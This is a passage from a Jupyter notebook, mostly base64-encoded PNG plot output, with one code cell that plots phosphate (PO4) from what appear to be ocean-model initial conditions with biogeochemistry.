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iRXz11VcsW7aM06dPM2fOHMaPH8/ly5f57rvvAIiOjiY5OZn33nsPgIKCAubOncuhQ4fYtm0barWa0aNHo9frTT7uvHnzmDVrFmfPnmXo0KEA7Nixg9jYWHbs2MGXX37JypUrWblyZeU+kyZN4tChQ/z000/s27cPRVEYPny4PCEQQogbnEpRFMXelRBCCEdUUlJC06ZN+e2334iKiqpcP23aNAoLC3nssce44447yMrKwtfX12g5GRkZBAQEcPLkSbp27VrjMePi4ggPD2fp0qXMmjWrcv2kSZPYuXMnsbGxaDQaAB588EHUajWrV68mJiaGDh06sGfPHvr37w/A1atXCQsL48svv+Qf//hHHf4SQgghGjIne1dACCEc1YULFygsLGTw4MFV1peWltKrVy+j+8XExPDyyy+zf/9+MjIyKlv24+Pjaw34K0RGRlZb16VLl8pgHyAkJISTJ08CcPbsWZycnOjXr1/l682aNaNjx46cPXvWpGMKIYRonCTgF0III/Lz8wHYuHEjzZs3r/Kaq6ur0X759957L61atWL58uWEhoai1+vp2rUrpaWlJh+7SZMm1dY5OztX+bdKpTKrm5AQQogbkwT8QghhREREBK6ursTHxzNw4MBqryckJACg0+kq1129epXo6GiWL1/OrbfeCsAff/xh87p27twZrVbL/v37q3TpiY6OJiIiwubHF0II4bgk4BdCCCO8vLz45z//yZw5c9Dr9dxyyy3k5OSwZ88evL29GTRoECqVig0bNjB8+HDc3d3x8/OjWbNmfPrpp4SEhBAfH8+8efNsXtf27dszcuRIpk+fzieffIKXlxfz5s2jefPmjBw50ubHF0II4bgkS48QQtTg9ddf56WXXmLRokV07tyZYcOGsXHjRsLDw2nevDmvvvoq8+bNIygoiJkzZ1YOoj18+DBdu3Zlzpw5vPXWW/VS1y+++II+ffowYsQIoqKiUBSFTZs2VesKJIQQ4sYiWXqEEEIIIYRoxKSFXwghhBBCiEZMAn4hhKhHCxcuxNPT0+By991327t6QgghGiHp0iOEEPUoMzOTzMxMg6+5u7tXS/8phBBC1JUE/EIIIYQQQjRi0qVHCCGEEEKIRkwCfiGEEEIIIRoxCfiFEEIIIYRoxCTgF0IIIYQQohGTgF8IIYQQQohGTAJ+IYQQQgghGjEJ+IUQQgghhGjE/j9NrjoqXLgwZAAAAABJRU5ErkJggg==", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions_with_bgc.plot(\"PO4\", xi=0, layer_contours=True)" ] }, { "cell_type": "code", "execution_count": 25, "id": "11d4d463-7775-46e0-b07d-a5fb70c26870", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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